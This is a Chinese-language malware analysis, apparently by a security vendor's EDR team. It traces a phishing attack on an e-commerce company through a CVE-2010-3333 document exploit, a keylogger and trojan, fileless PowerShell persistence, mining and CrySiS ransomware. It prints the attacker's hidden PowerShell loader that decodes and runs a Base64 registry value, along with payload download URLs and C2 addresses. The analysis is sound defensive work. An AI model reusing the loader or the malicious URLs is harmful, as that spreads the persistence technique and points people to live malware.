从某电商钓鱼事件探索黑客“一站式服务”

栏目: 编程工具 · 发布时间: 5年前

内容简介:深信服EDR安全团队,整理分析了一起某电商钓鱼事件,通过关联信息,发现背后可能存在一个“产业链齐全”的黑客团伙,研究发现其具备“一站式服务”的黑客攻击手段。黑客攻击手段包括但不限于钓鱼邮件、漏洞利用、挖矿病毒、勒索病毒、无文件攻击、远控木马、键盘记录器、密码破解等,是一次完整而全套的“服务”。

深信服EDR安全团队,整理分析了一起某电商钓鱼事件,通过关联信息,发现背后可能存在一个“产业链齐全”的黑客团伙,研究发现其具备“一站式服务”的黑客攻击手段。

黑客攻击手段包括但不限于钓鱼邮件、漏洞利用、挖矿病毒、勒索病毒、无文件攻击、远控木马、键盘记录器、密码破解等,是一次完整而全套的“服务”。

从某电商钓鱼事件探索黑客“一站式服务”

最开始,可能仅仅是一封精心构造的邮件触发的,经过信息收集和远程控制,在闲时挖矿榨干主机性能,当窃取到足够机密,又最后“卸磨杀驴”“杀鸡取卵”,执行勒索操作。

从某电商钓鱼事件探索黑客“一站式服务”

0x01 定向撒网捞鱼:钓鱼邮件

XX公司已经被黑客盯上了,黑客通过社工拿到该公司的各种邮件账号,并给这些账号发送了钓鱼邮件。

员工A收到一份邮件,这是一份包含了doc附件(实际上是一份富文本文件)的邮件,doc名称为TransferCopy.doc。

以下是邮件的基本信息:

从某电商钓鱼事件探索黑客“一站式服务”

看上去是一份无害的文件,点开查看该doc,也未发现异常(但此时已经开始后台偷偷执行)。

0x02 苍蝇不叮无缝的蛋:漏洞利用

苍蝇不叮无缝的蛋,一个普通的doc文档不能触发什么,但是,那是一个特殊构造的文档,里面肯定利用了什么漏洞的。

我们将邮件样本中的Base64加密的附件b64EnTransferCopy.doc提取出来,检测Base64解码的b64DeTransferCopy.doc,发现了b64DeTransferCopy.doc文档中的特殊文本。

从某电商钓鱼事件探索黑客“一站式服务”

从某电商钓鱼事件探索黑客“一站式服务”

可以判断其利用了CVE-2010-3333,漏洞溢出后,执行了下载动作。

从某电商钓鱼事件探索黑客“一站式服务”

在doc中发现恶意下载链接:

从某电商钓鱼事件探索黑客“一站式服务”

从某电商钓鱼事件探索黑客“一站式服务”

"http://polariton.rghost.ru/download/74zJT5wtf/b878e693051a8e541381b1d6378f4ddf62b d96b3/b878e693051a8e541381b1d6378f4ddf62bd96b3/b878e693051a8e541381b1d6378f 4ddf62bd96b3/DFGHDFGHJ4567856.exe"

访问这个网址之后,会跳转到http://rgho.st/74zJT5wtf?r=1088

从某电商钓鱼事件探索黑客“一站式服务”

0x03 侦查兵先行:下载木马

渗透企业内网,免不了先侦查内部主机信息的,黑客最开始,选择了下载并执行木马,完成初步的信息收集和远程控制。

我们将这个样本下载下来,检测为.NET程序,程序没有加壳,但是经过了混淆。

从某电商钓鱼事件探索黑客“一站式服务”

通过De4dot反混淆得到如下信息,但是程序还是存在一定的混淆,采用动态分析。

从某电商钓鱼事件探索黑客“一站式服务”

动态分析程序DFGHDFGHJ4567856.exe行为,发现其执行cmd命令 cmd.exe /c systeminfo 获取系统基本信息,写入Info.txt。

从某电商钓鱼事件探索黑客“一站式服务”

从某电商钓鱼事件探索黑客“一站式服务”

释放AutoUpdate.exe并通过设置注册表,设置其为自启动,进行键鼠记录,将所有的动作记录在logs_xx.xx.xxxx(日期格式).htm文件。

从某电商钓鱼事件探索黑客“一站式服务”

从某电商钓鱼事件探索黑客“一站式服务”

释放键鼠记录器pass.exe并启动,进行密码搜集或者密码破解。

从某电商钓鱼事件探索黑客“一站式服务”

该程序在完成所有释放和启动工作后,会使用HTTP协议连接恶意C2进行交互(回传信息)。

从某电商钓鱼事件探索黑客“一站式服务”

从某电商钓鱼事件探索黑客“一站式服务”

0x04 对抗升级:无文件攻击

为了进一步对抗安全产品,黑客并未停手,采取了更为高级、更为隐蔽的攻击手段。

我们发现,其通过自启动注册表项,启动PowerShell执行相应的命令

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden -c "$val = (gp HKLM:SOFTWARE\'??').'??'; $d = [System.Text.Encoding]::Unicode.GetString([System.convert]::FromBase64String($val)); iex $d"

分析上面的命令,它会读取HKLM:SOFTWARE\'??'注册表项的内容,然后通过Base64解码之后执行,另一个注册表项的内容是一串Base64的字符串。

从某电商钓鱼事件探索黑客“一站式服务”

多次解码之后,得到相应的PowerShell源代码。

从某电商钓鱼事件探索黑客“一站式服务”

通过PowerShell脚本,创建一个线程,注入一段ShellCode到远程进程中,执行ShellCode,解密出相应的ShellCode代码。

从某电商钓鱼事件探索黑客“一站式服务”

通过InternetOpenA/InternetConnectA/HttpOpenRequestA/HttpSendRequestA等函数,连接或发送网络请求到相应的黑客服务器地址138.197.2.46

从某电商钓鱼事件探索黑客“一站式服务”

分配相应的内存空间,从黑客服务器上读取相关的恶意程序到内存。

从某电商钓鱼事件探索黑客“一站式服务”

从黑客服务器上获取到的文件

从某电商钓鱼事件探索黑客“一站式服务”

ShellCode通过反射型DLL注入到进程执行

从某电商钓鱼事件探索黑客“一站式服务”

分析从内存中Dump出来的文件,是一个后门程序。

后门程序,释放相应的远控恶意程序文件Folder.exe

从某电商钓鱼事件探索黑客“一站式服务”

Folder.exe拷贝自身到C:\Users\panda\AppData\Roaming目录下

从某电商钓鱼事件探索黑客“一站式服务”

并设置一个隐藏目录的文件夹,将文件拷贝到隐藏目录文件夹下

从某电商钓鱼事件探索黑客“一站式服务”

并设置注册表自启动项

从某电商钓鱼事件探索黑客“一站式服务”

将之前释放到隐藏目录下的副本远控创建为计划任务启动项

从某电商钓鱼事件探索黑客“一站式服务”

黑客可以实时监控这台主机,动态分析显示其与远程C2服务器14.215.177.39地址进行通信。

从某电商钓鱼事件探索黑客“一站式服务”

0x05 持续褥羊毛:挖矿

黑客在攻破该主机之后,就为该主机种上挖矿病毒,持续榨干其性能。

从某电商钓鱼事件探索黑客“一站式服务”

0x06 猪养肥了就杀掉:执行勒索

在某天,黑客觉得信息偷得差不多了,挖矿也挖了一段时间,想最后干票大的。其通过远程进来之后,从网站上下载了一个勒索病毒。

从某电商钓鱼事件探索黑客“一站式服务”

下载的网站如下:

http://polariton.rghost.ru/download/74QVXtyvn/5a32f4e1983822ed5d4fcedf2b8d4c276dd77263/5a32f4e1983822ed5d4fcedf2b8d4c276dd77263/Release.zip

运行下载后的程序,会加密主机上的文件,如下所示:

从某电商钓鱼事件探索黑客“一站式服务”

并弹出勒索信息界面,研究发现这是一个CrySiS勒索病毒。

从某电商钓鱼事件探索黑客“一站式服务”

至此,全套“服务”完成,员工可以下班了。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

React Native开发指南

React Native开发指南

[美]艾森曼 / 黄为伟 / 人民邮电出版社 / 2016-6-1 / CNY 59.00

本书通过丰富的示例和详细的讲解,介绍了React Native这款JavaScript框架。在React Native中利用现有的JavaScript和React知识,就可以开发和部署功能完备的、真正原生的移动应用,并同时支持iOS与Android平台。除了框架本身的概念讲解之外,本书还讨论了如何使用第三方库,以及如何编写自己的Java或Objective-C的React Native扩展。一起来看看 《React Native开发指南》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

MD5 加密
MD5 加密

MD5 加密工具

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具